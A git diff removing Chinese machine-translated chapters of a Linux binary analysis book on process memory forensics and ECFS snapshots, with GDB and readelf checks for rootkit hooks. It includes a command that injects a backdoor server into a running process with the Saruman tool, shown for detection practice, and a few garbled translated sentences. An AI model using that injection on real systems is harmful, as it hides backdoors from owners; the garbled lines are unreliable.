这几乎意味着您可以通过程序段访问进程映像的每个部分,但这只是部分正确。 可执行文件的文本映像和每个映射到进程的共享库只获得它们自身的前 4096 个字节转储到一个段中。 - -这是为了节省空间,因为 Linux 内核开发人员认为文本段不会在内存中修改。 因此,当从调试器访问文本区域时,引用原始的可执行文件和共享库就足够了。 如果一个核心文件要为每个共享库转储完整的文本段,那么对于像 Wireshark 或 Firefox 这样的大型程序,输出的核心转储文件将非常大。 - -因此,出于调试的原因,通常可以假设文本段在内存中没有更改,而只是引用可执行文件和共享库文件本身来获取文本。 但是运行时恶意软件分析和进程内存取证呢? 在许多情况下,文本段被标记为可写的,并且包含用于代码突变的多态引擎,在这些情况下,核心文件对于查看代码段可能是无用的。 - -另外,如果核心文件是分析中唯一可用的工件,而原始的可执行程序库和共享库不再可访问,该怎么办? 这进一步说明了为什么核心文件不是特别适合进程内存取证; 他们也本不该如此。 - -### 注意事项 - -在下一章中,我们将看到 ECFS 如何解决许多弱点,这些弱点使得核心文件在取证时成为无用的工件。 - -### 使用带有 GDB 的核心文件进行取证 - -结合原始的可执行文件,并假设没有对代码进行修改(对文本段),我们仍然可以使用核心文件进行恶意软件分析。 在这个特殊的例子中,我们正在寻找 Azazel rootkit 的核心文件,正如我们在本章前面所演示的,它有 PLT/GOT 钩子: - -```sh -$ readelf -S host | grep got.plt - [23] .got.plt PROGBITS 0000000000601000 00001000 -$ readelf -r host -Relocation section '.rela.plt' at offset 0x3f8 contains 6 entries: - Offset Info Type Sym. Value Sym. Name + Addend -000000601018 000100000007 R_X86_64_JUMP_SLO 0000000000000000 unlink + 0 -000000601020 000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts + 0 -000000601028 000300000007 R_X86_64_JUMP_SLO 0000000000000000 opendir + 0 -000000601030 000400000007 R_X86_64_JUMP_SLO 0000000000000000 __libc_start_main+0 -000000601038 000500000007 R_X86_64_JUMP_SLO 0000000000000000 __gmon_start__ + 0 -000000601040 000600000007 R_X86_64_JUMP_SLO 0000000000000000 fopen + 0 - -``` - -那么,让我们来看看我们已经知道被 Azazel 劫持的功能。 `fopen`函数是受感染程序中的四个共享库函数之一,从前面的输出可以看到,它在`0x601040`处有一个 GOT 入口: - -```sh -$ gdb -q ./host core -Reading symbols from ./host...(no debugging symbols found)...done. -[New LWP 9875] -Core was generated by `./host'. -Program terminated with signal SIGSEGV, Segmentation fault. -#0 0x000000000040064f in main () -(gdb) x/gx 0x601040 -0x601040 : 0x00007ff1673a8609 -(gdb) -``` - -如果我们再看看`NT_FILE`进入`PT_NOTE`段(`readelf -n core`),我们可以看到在什么地址范围`libc-2.19.so`文件映射到内存中,并检查是否有条目 fopen 是指向`libc-2.19.so`应该是: - -```sh -$ readelf -n core - - 0x00007ff166fe0000 0x00007ff16719b000 0x0000000000000000 - /lib/x86_64-linux-gnu/libc-2.19.so - -``` - -`fopen@got.plt`指`0x7ff1673a8609`。 这超出了前面显示的`libc-2.19.so`文本段范围,即`0x7ff166fe0000`到`0x7ff16719b000`。 使用 GDB 检查核心文件与使用 GDB 检查活动进程非常相似,您可以使用下面所示的相同方法来定位环境变量并检查是否设置了`LD_PRELOAD`。 - -下面是一个在核心文件中定位环境变量的例子: - -```sh -(gdb) x/4096s $rsp - -… scroll down a few pages … - -0x7fffb25388db: "./host" -0x7fffb25388e2: "LD_PRELOAD=./libselinux.so" -0x7fffb25388fd: "SHELL=/bin/bash" -0x7fffb253890d: "TERM=xterm" -0x7fffb2538918: "OLDPWD=/home/ryan" -0x7fffb253892a: "USER=root" -``` - -# 总结 - -过程记忆法证是法证工作的一个非常具体的方面。 显然,它主要关注与进程映像相关的内存,即使它本身也是相当复杂的,因为它需要关于 CPU 寄存器、堆栈、动态链接和 ELF 整体的复杂知识。 - -因此,熟练地检查异常过程确实是一种艺术,一种通过自身经验建立的技能。 本章是该主题的入门读物,以便初学者能够获得一些见解,了解他们应该如何开始。 在下一章中,我们将讨论过程取证,您将了解 ECFS 技术如何使过程取证变得更容易。 - -完成本章和下一章后,我建议您使用本章中引用的一些工具来感染系统上的一些进程,并试验检测它们的方法。 \ No newline at end of file diff --git a/docs/learn-linux-bin-anal/8.md b/docs/learn-linux-bin-anal/8.md deleted file mode 100644 index 99a804dd..00000000 --- a/docs/learn-linux-bin-anal/8.md +++ /dev/null @@ -1,940 +0,0 @@ -# 八、扩展核心文件快照技术 - -**扩展核心文件快照**(**ECFS**)技术是一种插入到 Linux 核心处理程序的软件,它可以创建专门设计的进程内存快照,专门针对进程内存取证。 大多数人都不知道如何解析进程映像,更不用说如何检查异常了。 即使对专家来说,查看进程图像并检测感染或恶意软件也是一项艰巨的任务。 - -在 ECFS 之前,除了使用核心文件之外,没有真正的进程映像快照标准,这些核心文件可以使用大多数 Linux 发行版附带的**gcore**脚本按需创建。 正如前一章所简要讨论的,常规的核心文件对于过程取证分析并不是特别有用。 这就是 ECFS 核心文件出现的原因——提供一种文件格式,它可以描述进程映像的每一个细微差别,以便能够有效地分析、轻松导航并轻松地与恶意软件分析和进程取证工具集成。 - -在本章中,我们将讨论 ECFS 的基础知识,以及如何使用 ECFS 核心文件和**libecfs**API 来快速设计恶意软件分析和取证工具。 - -# 历史 - -2011 年,我为美国国防部高级研究计划局的一份合同创建了一个名为 LinuxVMA Monitor([http://www.bitlackeys.org/#vmavudu](http://www.bitlackeys.org/#vmavudu))的软件原型。 这个软件被设计用来查看实时进程内存或进程内存的原始快照。 它能够检测各种运行时感染,包括共享库注入,PLT/GOT 劫持,以及其他表明运行时恶意软件的异常。 - -最近,我考虑过重新编写这个软件,使其达到更完善的状态,我觉得为进程内存提供一个本地快照格式将是一个非常好的特性。 这是开发 ECFS 的最初灵感,虽然我现在取消了恢复 Linux VMA Monitor 软件的计划,但我仍在继续扩展和开发 ECFS 软件,因为它对许多其他人的项目有很大价值。 它甚至被整合到 Lotan 产品中,这是一个通过分析崩溃转储([http://www.leviathansecurity.com/lotan](http://www.leviathansecurity.com/lotan))来检测利用尝试的软件。 - -# ECFS 理念 - -ECFS 就是要使程序的运行时分析比以前更容易。 整个过程被封装在一个单一的文件中,并以这样的方式组织,以定位和访问对检测异常和感染至关重要的数据和代码,可以通过有序和有效的手段实现。 这主要是通过解析节头来访问有用的数据,如符号表、动态链接数据和与取证相关的结构。 - -# ECFS 入门 - -在撰写本章时,完整的 ECFS 项目和源代码可以在[http://github.com/elfmaster/ecfs](http://github.com/elfmaster/ecfs)上找到。 一旦您用 git 克隆了存储库,您应该按照 README 文件中的描述编译并安装软件。 - -目前,ECFS 有两种使用模式: - -* 将 ECFS 插入核心处理程序 -* 不终止进程的 ECFS 快照 - -### 注意事项 - -在本章中,术语 ECFS 文件、ECFS 快照和 ECFS 核心文件可以互换使用。 - -## 将 ECFS 插入核心处理器 - -第一件事是将 ECFS 核心处理程序插入 Linux 内核。 `make`安装将为您完成这一任务,但它必须在每次重启后完成,或者存储在`init`脚本中。 手动设置 ECFS 核心处理程序的方法是通过修改`/proc/sys/kernel/core_pattern`文件。 - -这是用来激活 ECFS 核心处理程序的命令: - -```sh -echo '|/opt/ecfs/bin/ecfs_handler -t -e %e -p %p -o \ /opt/ecfs/cores/%e.%p' > /proc/sys/kernel/core_pattern -``` - -### 注意事项 - -注意,设置了`-t`选项。 这对取证来说非常重要,不应该关掉它。 这个选项告诉 ECFS 为任何可执行库或共享库映射捕获整个文本段。 在传统的核心文件中,文本图像被截断为 4k。 在本章的后面,我们还将研究`-h`选项(启发式),它可以被设置为启用扩展启发式,以便检测共享库注入。 - -根据进程是 64 位还是 32 位,`ecfs_handler`二进制将调用`ecfs32`或`ecfs64`。 我们写入 procfs`core_pattern`项的行前面的管道符号(`|`)告诉内核将它生成的核心文件管道到 ECFS 核心处理程序进程的标准输入中。 然后,ECFS 核心处理程序将传统的核心文件转换为高度定制的、引人注目的 ECFS 核心文件。 随时如果进程崩溃或传递一个信号,导致核心转储,如【T7 SIGSEGV】【显示】或**SIGABRT【病人】,然后 ecf 核心处理器将会介入,仪器的核心文件创建自己的组特殊的程序创建一个 ECFS-style 核心转储。** - -以下是捕获`sshd`的 ECFS 快照的示例: - -```sh -$ kill -ABRT `pidof sshd` -$ ls -lh /opt/ecfs/cores --rwxrwx--- 1 root root 8244638 Jul 24 13:36 sshd.1211 -$ -``` - -将 ECFS 作为默认的核心文件处理程序非常好,非常适合日常使用。 这是因为 ECFS 内核向后兼容传统的核心文件,并且可以与 GDB 等调试器一起使用。 然而,有时用户可能希望在不终止进程的情况下捕获 ECFS 快照。 这就是 ECFS 快照工具发挥作用的地方。 - -## 不杀死进程的 ECFS 快照 - -让我们考虑一个场景,其中有一个可疑的进程正在运行。 这是可疑的,因为它正在消耗大量的 CPU 和它有网络套接字打开,即使它是已知的不是任何类型的网络程序。 在这种情况下,最好让进程继续运行,这样潜在的攻击者就不会收到警报,但仍然有能力生成 ECFS 核心文件。 在这些情况下,应该使用`ecfs_snapshot`实用程序。 - -`ecfs_snapshot`实用程序最终使用 ptrace 系统调用,这意味着两件事: - -* 它可能会花费更长的时间来捕捉进程 -* 对于使用反调试技术来防止 ptrace 附加的进程,它可能无效 - -如果这两个问题中的任何一个成为问题,您可能不得不考虑对作业使用 ECFS 核心处理程序,在这种情况下,您将不得不终止该进程。 然而,在大多数情况下,`ecfs_snapshot`实用程序可以工作。 - -下面是一个用快照实用程序捕获 ECFS 快照的示例: - -```sh -$ ecfs_snapshot -p `pidof host` -o host_snapshot -``` - -这将快照程序主机的进程,并创建一个名为`host_snapshot`的 ECFS 快照。 在下面的小节中,我们将演示一些 ECFS 的实际用例,并查看带有各种实用程序的 ECFS 文件。 - -# libecfs -用于解析 ECFS 文件的库 - -ECFS 文件格式非常容易用传统的 ELF 实用程序(如`readelf`)解析,但是要构建自定义的解析工具,我强烈建议您使用 libecfs 库。 这个库是专门为轻松解析 ECFS 核心文件而设计的。 在本章后面,当我们研究设计先进的恶意软件分析工具来检测受感染的进程时,它将被稍微详细地演示。 - -libecfs 还用于正在进行的`readecfs`实用工具的开发,这是一种用于解析 ECFS 文件的工具,与常见的`readelf`实用工具非常相似。 注意,libecfs 包含在 GitHub 存储库的 ECFS 包中。 - -# readecfs - -本章的其余部分将使用`readecfs`实用程序,同时演示不同的 ECFS 特性。 以下是来自`readecfs -h`的工具简介: - -```sh -Usage: readecfs [-RAPSslphega] --a print all (equiv to -Sslphega) --s print symbol table info --l print shared library names --p print ELF program headers --S print ELF section headers --h print ELF header --g print PLTGOT info --A print Auxiliary vector --P print personality info --e print ecfs specific (auiliary vector, process state, sockets, pipes, fd's, etc.) - --[View raw data from a section] --R
- --[Copy an ELF section into a file (Similar to objcopy)] --O .section - --[Extract and decompress /proc/$pid from .procfs.tgz section into directory] --X - -Examples: -readecfs -e -readecfs -Ag -readecfs -R .stack -readecfs -R .bss -readecfs -eR .heap -readecfs -O .vdso vdso_elf.so -readecfs -X procfs_dir -``` - -# 使用 ECFS 检查受感染的进程 - -在之前,我们通过一个现实世界的例子来展示 ECFS 的有效性,对于我们将从黑客的角度使用的感染方法有一点背景知识是很有帮助的。 对于黑客来说,将反取证技术整合到他们的工作流程中是非常有用的,这样他们的程序,尤其是那些充当后门的程序,就可以对未经训练的人保持隐藏。 - -其中一种方法是执行过程**掩盖**。 这是在现有进程中运行程序的行为,理想情况下是在已知的良性但持久的进程中,如 ftpd 或 sshd。 Sarumananti-forensics exec([http://www.bitlackeys.org/#saruman](http://www.bitlackeys.org/#saruman))允许攻击者将一个完整的、动态链接的 PIE 可执行文件注入到现有的进程地址空间中并运行它。 - -它使用线程注入技术,以便被注入的程序可以与主程序同时运行。 这种特殊的黑客技术是我在 2013 年提出和设计的,但我毫不怀疑,其他类似的工具在地下场景中存在的时间比这要长得多。 通常,这种类型的反法医技术不会被注意到,也很难被发现。 - -让我们看看通过使用 ECFS 技术分析这样一个过程,我们可以获得什么样的效率和准确性。 - -## 感染主机进程 - -主机进程是一个良性进程,通常是 sshd 或 ftpd 之类的进程,如前所述。 为了便于示例,我们将使用一个简单而持久的程序 host; 它只是在无限循环中运行,在屏幕上打印一条消息。 然后我们会利用萨鲁曼反取证执行启动程序注入一个远程服务器后门。 - -在终端 1 中运行主机程序: - -```sh -$ ./host -I am the host -I am the host -I am the host -``` - -在终端 2 中,将后门注入流程: - -```sh -$ ./launcher `pidof host` ./server -[+] Thread injection succeeded, tid: 16187 -[+] Saruman successfully injected program: ./server -[+] PT_DETACHED -> 16186 -$ -``` - -## 捕获和分析 ECFS 快照 - -现在,如果我们通过使用`ecfs_snapshot`实用程序或通过向核心转储发送进程信号来捕获进程的快照,我们就可以开始我们的检查了。 - -### 符号表分析 - -让我们来看看`host.16186`快照的符号表分析: - -```sh - readelf -s host.16186 - -Symbol table '.dynsym' contains 6 entries: - Num: Value Size Type Bind Vis Ndx Name - 0: 00007fba3811e000 0 NOTYPE LOCAL DEFAULT UND - 1: 00007fba3818de30 0 FUNC GLOBAL DEFAULT UND puts - 2: 00007fba38209860 0 FUNC GLOBAL DEFAULT UND write - 3: 00007fba3813fdd0 0 FUNC GLOBAL DEFAULT UND __libc_start_main - 4: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__ - 5: 00007fba3818c4e0 0 FUNC GLOBAL DEFAULT UND fopen - -Symbol table '.symtab' contains 6 entries: - Num: Value Size Type Bind Vis Ndx Name - 0: 0000000000400470 96 FUNC GLOBAL DEFAULT 10 sub_400470 - 1: 00000000004004d0 42 FUNC GLOBAL DEFAULT 10 sub_4004d0 - 2: 00000000004005bd 50 FUNC GLOBAL DEFAULT 10 sub_4005bd - 3: 00000000004005ef 69 FUNC GLOBAL DEFAULT 10 sub_4005ef - 4: 0000000000400640 101 FUNC GLOBAL DEFAULT 10 sub_400640 - 5: 00000000004006b0 2 FUNC GLOBAL DEFAULT 10 sub_4006b0 -``` - -`readelf`命令允许我们查看符号表。 注意,对于`.dynsym`中的动态符号和存储在`.symtab`符号表中的局部函数的符号,都存在一个符号表。 ECFS 能够通过访问动态段并找到`DT_SYMTAB`来重建动态符号表。 - -### 注意事项 - -符号表有点复杂,但非常有价值。 ECFS 使用一种特殊的方法来解析包含矮化格式的帧描述条目的`PT_GNU_EH_FRAME`片段; 它们用于异常处理。 该信息对于收集二进制文件中定义的每个函数的位置和大小非常有用。 - -在功能被混淆的情况下,IDA 等工具将无法识别二进制文件或核心文件中定义的每个功能,但是 ECFS 技术将会成功。 这是 ECFS 对逆向工程世界的主要影响之一——一种几乎万无一失的方法,可以定位和调整每个函数的大小,并生成一个符号表。 在`host.16186`文件中,符号表被完全重构。 这很有用,因为它可以帮助我们检测是否有任何 PLT/GOT 钩子被用于重定向共享库函数,如果是这样,我们可以识别被劫持的函数的实际名称。 - -### 节头分析 - -现在,让我们看看`host.16186`快照的头分析部分。 - -我的版本`readelf`稍加修改,以便它能够识别以下自定义类型:`SHT_INJECTED`和`SHT_PRELOADED`。 如果不修改 readelf,它只会显示与这些定义相关的数值。 查看`include/ecfs.h`以获得定义,如果您愿意,可以将它们添加到`readelf`源代码中: - -```sh -$ readelf -S host.16186 -There are 46 section headers, starting at offset 0x255464: - -Section Headers: - [Nr] Name Type Address Offset - Size EntSize Flags Link Info Align - [ 0] NULL 0000000000000000 00000000 - 0000000000000000 0000000000000000 0 0 0 - [ 1] .interp PROGBITS 0000000000400238 00002238 - 000000000000001c 0000000000000000 A 0 0 1 - [ 2] .note NOTE 0000000000000000 000005f0 - 000000000000133c 0000000000000000 A 0 0 4 - [ 3] .hash GNU_HASH 0000000000400298 00002298 - 000000000000001c 0000000000000000 A 0 0 4 - [ 4] .dynsym DYNSYM 00000000004002b8 000022b8 - 0000000000000090 0000000000000018 A 5 0 8 - [ 5] .dynstr STRTAB 0000000000400348 00002348 - 0000000000000049 0000000000000018 A 0 0 1 - [ 6] .rela.dyn RELA 00000000004003c0 000023c0 - 0000000000000018 0000000000000018 A 4 0 8 - [ 7] .rela.plt RELA 00000000004003d8 000023d8 - 0000000000000078 0000000000000018 A 4 0 8 - [ 8] .init PROGBITS 0000000000400450 00002450 - 000000000000001a 0000000000000000 AX 0 0 8 - [ 9] .plt PROGBITS 0000000000400470 00002470 - 0000000000000060 0000000000000010 AX 0 0 16 - [10] ._TEXT PROGBITS 0000000000400000 00002000 - 0000000000001000 0000000000000000 AX 0 0 16 - [11] .text PROGBITS 00000000004004d0 000024d0 - 00000000000001e2 0000000000000000 0 0 16 - [12] .fini PROGBITS 00000000004006b4 000026b4 - 0000000000000009 0000000000000000 AX 0 0 16 - [13] .eh_frame_hdr PROGBITS 00000000004006e8 000026e8 - 000000000000003c 0000000000000000 AX 0 0 4 - [14] .eh_frame PROGBITS 0000000000400724 00002728 - 0000000000000114 0000000000000000 AX 0 0 8 - [15] .ctors PROGBITS 0000000000600e10 00003e10 - 0000000000000008 0000000000000008 A 0 0 8 - [16] .dtors PROGBITS 0000000000600e18 00003e18 - 0000000000000008 0000000000000008 A 0 0 8 - [17] .dynamic DYNAMIC 0000000000600e28 00003e28 - 00000000000001d0 0000000000000010 WA 0 0 8 - [18] .got.plt PROGBITS 0000000000601000 00004000 - 0000000000000048 0000000000000008 WA 0 0 8 - [19] ._DATA PROGBITS 0000000000600000 00003000 - 0000000000001000 0000000000000000 WA 0 0 8 - [20] .data PROGBITS 0000000000601040 00004040 - 0000000000000010 0000000000000000 WA 0 0 8 - [21] .bss PROGBITS 0000000000601050 00004050 - 0000000000000008 0000000000000000 WA 0 0 8 - [22] .heap PROGBITS 0000000000e9c000 00006000 - 0000000000021000 0000000000000000 WA 0 0 8 - [23] .elf.dyn.0 INJECTED 00007fba37f1b000 00038000 - 0000000000001000 0000000000000000 AX 0 0 8 - [24] libc-2.19.so.text SHLIB 00007fba3811e000 0003b000 - 00000000001bb000 0000000000000000 A 0 0 8 - [25] libc-2.19.so.unde SHLIB 00007fba382d9000 001f6000 - 00000000001ff000 0000000000000000 A 0 0 8 - [26] libc-2.19.so.relr SHLIB 00007fba384d8000 001f6000 - 0000000000004000 0000000000000000 A 0 0 8 - [27] libc-2.19.so.data SHLIB 00007fba384dc000 001fa000 - 0000000000002000 0000000000000000 A 0 0 8 - [28] ld-2.19.so.text SHLIB 00007fba384e3000 00201000 - 0000000000023000 0000000000000000 A 0 0 8 - [29] ld-2.19.so.relro SHLIB 00007fba38705000 0022a000 - 0000000000001000 0000000000000000 A 0 0 8 - [30] ld-2.19.so.data SHLIB 00007fba38706000 0022b000 - 0000000000001000 0000000000000000 A 0 0 8 - [31] .procfs.tgz LOUSER+0 0000000000000000 00254388 - 00000000000010dc 0000000000000001 0 0 8 - [32] .prstatus PROGBITS 0000000000000000 00253000 - 00000000000002a0 0000000000000150 0 0 8 - [33] .fdinfo PROGBITS 0000000000000000 002532a0 - 0000000000000ac8 0000000000000228 0 0 4 - [34] .siginfo PROGBITS 0000000000000000 00253d68 - 0000000000000080 0000000000000080 0 0 4 - [35] .auxvector PROGBITS 0000000000000000 00253de8 - 0000000000000130 0000000000000008 0 0 8 - [36] .exepath PROGBITS 0000000000000000 00253f18 - 000000000000001c 0000000000000008 0 0 1 - [37] .personality PROGBITS 0000000000000000 00253f34 - 0000000000000004 0000000000000004 0 0 1 - [38] .arglist PROGBITS 0000000000000000 00253f38 - 0000000000000050 0000000000000001 0 0 1 - [39] .fpregset PROGBITS 0000000000000000 00253f88 - 0000000000000400 0000000000000200 0 0 8 - [40] .stack PROGBITS 00007fff4447c000 0022d000 - 0000000000021000 0000000000000000 WA 0 0 8 - [41] .vdso PROGBITS 00007fff444a9000 0024f000 - 0000000000002000 0000000000000000 WA 0 0 8 - [42] .vsyscall PROGBITS ffffffffff600000 00251000 - 0000000000001000 0000000000000000 WA 0 0 8 - [43] .symtab SYMTAB 0000000000000000 0025619d - 0000000000000090 0000000000000018 44 0 4 - [44] .strtab STRTAB 0000000000000000 0025622d - 0000000000000042 0000000000000000 0 0 1 - [45] .shstrtab STRTAB 0000000000000000 00255fe4 - 00000000000001b9 0000000000000000 0 0 1 -``` - -我们对第 23 节特别感兴趣; 它被标记为一个可疑的 ELF 对象,注入的外延为: - -```sh - [23] .elf.dyn.0 INJECTED 00007fba37f1b000 00038000 - 0000000000001000 0000000000000000 AX 0 0 8 -``` - -当 ECFS 启发式检测到一个可疑的 ELF 对象,并且在其映射的共享库列表中找不到该特定对象时,它将以以下格式命名该节: - -```sh -.elf.. -``` - -类型可以是以下四种之一: - -* `ET_NONE` -* `ET_EXEC` -* `ET_DYN` -* `ET_REL` - -在我们的示例中,它显然是`ET_DYN`,表示为`dyn`。 计数只是已找到的注入对象的索引。 在本例中,索引是`0`,因为它是在这个特定进程中找到的第一个也是唯一一个注入的 ELF 对象。 - -类型`INJECTED`明显表示该切片包含一个 ELF 对象,该 ELF 对象被确定为可疑或通过非自然手段注入。 在这个特定的情况下,进程感染了 Saruman(前面描述过),它注入了一个**位置无关的可执行文件**(**PIE**)。 PIE 可执行文件的类型为`ET_DYN`,类似于共享库,这也是 ECFS 将其标记为共享库的原因。 - -## 使用 readecfs 提取寄生代码 - -我们在 ECFS 核心文件中发现了与寄生代码相关的部分,在本例中,寄生代码是注入的 PIE 可执行文件。 下一步是研究代码本身。 这可以通过以下方式之一:`objdump`实用程序或更先进的反汇编程序,如 IDA pro 可以用来导航到章节`.elf.dyn.0`,`readecfs`实用程序也可以首先被用来提取寄生 ecf 核心文件代码: - -```sh -$ readecfs -O host.16186 .elf.dyn.0 parasite_code.exe - -- readecfs output for file host.16186 -- Executable path (.exepath): /home/ryan/git/saruman/host -- Command line: ./host - -[+] Copying section data from '.elf.dyn.0' into output file 'parasite_code.exe' -``` - -多亏了 ECFS,我们现在有了从进程图像中提取的寄生代码的单一副本。 如果没有 ECFS,识别这种特定的恶意软件并提取它将是一项极其乏味的任务。 现在我们可以将`parasite_code.exe`作为一个单独的文件来检查,在 IDA 中打开它,然后依次类推: - -```sh -root@elfmaster:~/ecfs/cores# readelf -l parasite_code.exe -readelf: Error: Unable to read in 0x40 bytes of section headers -readelf: Error: Unable to read in 0x780 bytes of section headers - -Elf file type is DYN (Shared object file) -Entry point 0xdb0 -There are 9 program headers, starting at offset 64 - -Program Headers: - Type Offset VirtAddr PhysAddr - FileSiz MemSiz Flags Align - PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040 - 0x00000000000001f8 0x00000000000001f8 R E 8 - INTERP 0x0000000000000238 0x0000000000000238 0x0000000000000238 - 0x000000000000001c 0x000000000000001c R 1 - [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2] - LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000 - 0x0000000000001934 0x0000000000001934 R E 200000 - LOAD 0x0000000000001df0 0x0000000000201df0 0x0000000000201df0 - 0x0000000000000328 0x0000000000000330 RW 200000 - DYNAMIC 0x0000000000001e08 0x0000000000201e08 0x0000000000201e08 - 0x00000000000001d0 0x00000000000001d0 RW 8 - NOTE 0x0000000000000254 0x0000000000000254 0x0000000000000254 - 0x0000000000000044 0x0000000000000044 R 4 - GNU_EH_FRAME 0x00000000000017e0 0x00000000000017e0 0x00000000000017e0 - 0x000000000000003c 0x000000000000003c R 4 - GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000 - 0x0000000000000000 0x0000000000000000 RW 10 - GNU_RELRO 0x0000000000001df0 0x0000000000201df0 0x0000000000201df0 - 0x0000000000000210 0x0000000000000210 R 1 -readelf: Error: Unable to read in 0x1d0 bytes of dynamic section -``` - -注意,在前面的输出中,`readelf`是。 这是,因为我们提取的寄生体没有它自己的 section 头表。 将来,`readecfs`实用程序将能够为从整个 ECFS 核心文件中提取的映射 ELF 对象重建一个最小的节头表。 - -## Azazel userland rootkit 分析 - -所[第七章](7.html#21PMQ1-1d4163ae11644cc2802846625b2dc985 "Chapter 7. Process Memory Forensics"),*进程内存取证,归与阿撒泻勒的 userland rootkit userland rootkit,感染过程通过`LD_PRELOAD`,阿扎赛尔共享库的相关流程,并劫持各种`libc`功能。 在[第 7 章](7.html#21PMQ1-1d4163ae11644cc2802846625b2dc985 "Chapter 7. Process Memory Forensics"),*进程内存取证*中,我们使用 GDB 和`readelf`来检查一个进程是否存在这种特定的 rootkit 感染。 现在让我们尝试使用 ECFS 方法来进行这种类型的过程内省。 以下是来自可执行主机 2 的进程的 ECFS 快照,该进程已被 Azazel rootkit 感染。* - - *### 重建 host2 进程的符号表 - -现在,这是经过进程重构的 host2 的符号表: - -```sh -$ readelf -s host2.7254 - -Symbol table '.dynsym' contains 7 entries: - Num: Value Size Type Bind Vis Ndx Name - 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND - 1: 00007f0a0d0ed070 0 FUNC GLOBAL DEFAULT UND unlink - 2: 00007f0a0d06fe30 0 FUNC GLOBAL DEFAULT UND puts - 3: 00007f0a0d0bcef0 0 FUNC GLOBAL DEFAULT UND opendir - 4: 00007f0a0d021dd0 0 FUNC GLOBAL DEFAULT UND __libc_start_main - 5: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__ - 6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fopen - - Symbol table '.symtab' contains 5 entries: - Num: Value Size Type Bind Vis Ndx Name - 0: 00000000004004b0 112 FUNC GLOBAL DEFAULT 10 sub_4004b0 - 1: 0000000000400520 42 FUNC GLOBAL DEFAULT 10 sub_400520 - 2: 000000000040060d 68 FUNC GLOBAL DEFAULT 10 sub_40060d - 3: 0000000000400660 101 FUNC GLOBAL DEFAULT 10 sub_400660 - 4: 00000000004006d0 2 FUNC GLOBAL DEFAULT 10 sub_4006d0 -``` - -我们可以看到从 host2 前面的符号表是一个简单的程序,只有少数共享库调用(这是`.dynsym`符号表所示):`unlink`,`puts`,`opendir`和`fopen`。 - -### 重建 host2 进程的 section 头表 - -让我们看看主机 2 的 section 头表在进程重构时是什么样子: - -```sh -$ readelf -S host2.7254 - -There are 65 section headers, starting at offset 0x27e1ee: - -Section Headers: - [Nr] Name Type Address Offset - Size EntSize Flags Link Info Align - [ 0] NULL 0000000000000000 00000000 - 0000000000000000 0000000000000000 0 0 0 - [ 1] .interp PROGBITS 0000000000400238 00002238 - 000000000000001c 0000000000000000 A 0 0 1 - [ 2] .note NOTE 0000000000000000 00000900 - 000000000000105c 0000000000000000 A 0 0 4 - [ 3] .hash GNU_HASH 0000000000400298 00002298 - 000000000000001c 0000000000000000 A 0 0 4 - [ 4] .dynsym DYNSYM 00000000004002b8 000022b8 - 00000000000000a8 0000000000000018 A 5 0 8 - [ 5] .dynstr STRTAB 0000000000400360 00002360 - 0000000000000052 0000000000000018 A 0 0 1 - [ 6] .rela.dyn RELA 00000000004003e0 000023e0 - 0000000000000018 0000000000000018 A 4 0 8 - [ 7] .rela.plt RELA 00000000004003f8 000023f8 - 0000000000000090 0000000000000018 A 4 0 8 - [ 8] .init PROGBITS 0000000000400488 00002488 - 000000000000001a 0000000000000000 AX 0 0 8 - [ 9] .plt PROGBITS 00000000004004b0 000024b0 - 0000000000000070 0000000000000010 AX 0 0 16 - [10] ._TEXT PROGBITS 0000000000400000 00002000 - 0000000000001000 0000000000000000 AX 0 0 16 - [11] .text PROGBITS 0000000000400520 00002520 - 00000000000001b2 0000000000000000 0 0 16 - [12] .fini PROGBITS 00000000004006d4 000026d4 - 0000000000000009 0000000000000000 AX 0 0 16 - [13] .eh_frame_hdr PROGBITS 0000000000400708 00002708 - 0000000000000034 0000000000000000 AX 0 0 4 - [14] .eh_frame PROGBITS 000000000040073c 00002740 - 00000000000000f4 0000000000000000 AX 0 0 8 - [15] .ctors PROGBITS 0000000000600e10 00003e10 - 0000000000000008 0000000000000008 A 0 0 8 - [16] .dtors PROGBITS 0000000000600e18 00003e18 - 0000000000000008 0000000000000008 A 0 0 8 - [17] .dynamic DYNAMIC 0000000000600e28 00003e28 - 00000000000001d0 0000000000000010 WA 0 0 8 - [18] .got.plt PROGBITS 0000000000601000 00004000 - 0000000000000050 0000000000000008 WA 0 0 8 - [19] ._DATA PROGBITS 0000000000600000 00003000 - 0000000000001000 0000000000000000 WA 0 0 8 - [20] .data PROGBITS 0000000000601048 00004048 - 0000000000000010 0000000000000000 WA 0 0 8 - [21] .bss PROGBITS 0000000000601058 00004058 - 0000000000000008 0000000000000000 WA 0 0 8 - [22] .heap PROGBITS 0000000000602000 00005000 - 0000000000021000 0000000000000000 WA 0 0 8 - [23] libaudit.so.1.0.0 SHLIB 0000003001000000 00026000 - 0000000000019000 0000000000000000 A 0 0 8 - [24] libaudit.so.1.0.0 SHLIB 0000003001019000 0003f000 - 00000000001ff000 0000000000000000 A 0 0 8 - [25] libaudit.so.1.0.0 SHLIB 0000003001218000 0003f000 - 0000000000001000 0000000000000000 A 0 0 8 - [26] libaudit.so.1.0.0 SHLIB 0000003001219000 00040000 - 0000000000001000 0000000000000000 A 0 0 8 - [27] libpam.so.0.83.1\. SHLIB 0000003003400000 00041000 - 000000000000d000 0000000000000000 A 0 0 8 - [28] libpam.so.0.83.1\. SHLIB 000000300340d000 0004e000 - 00000000001ff000 0000000000000000 A 0 0 8 - [29] libpam.so.0.83.1\. SHLIB 000000300360c000 0004e000 - 0000000000001000 0000000000000000 A 0 0 8 - [30] libpam.so.0.83.1\. SHLIB 000000300360d000 0004f000 - 0000000000001000 0000000000000000 A 0 0 8 - [31] libutil-2.19.so.t SHLIB 00007f0a0cbf9000 00050000 - 0000000000002000 0000000000000000 A 0 0 8 - [32] libutil-2.19.so.u SHLIB 00007f0a0cbfb000 00052000 - 00000000001ff000 0000000000000000 A 0 0 8 - [33] libutil-2.19.so.r SHLIB 00007f0a0cdfa000 00052000 - 0000000000001000 0000000000000000 A 0 0 8 - [34] libutil-2.19.so.d SHLIB 00007f0a0cdfb000 00053000 - 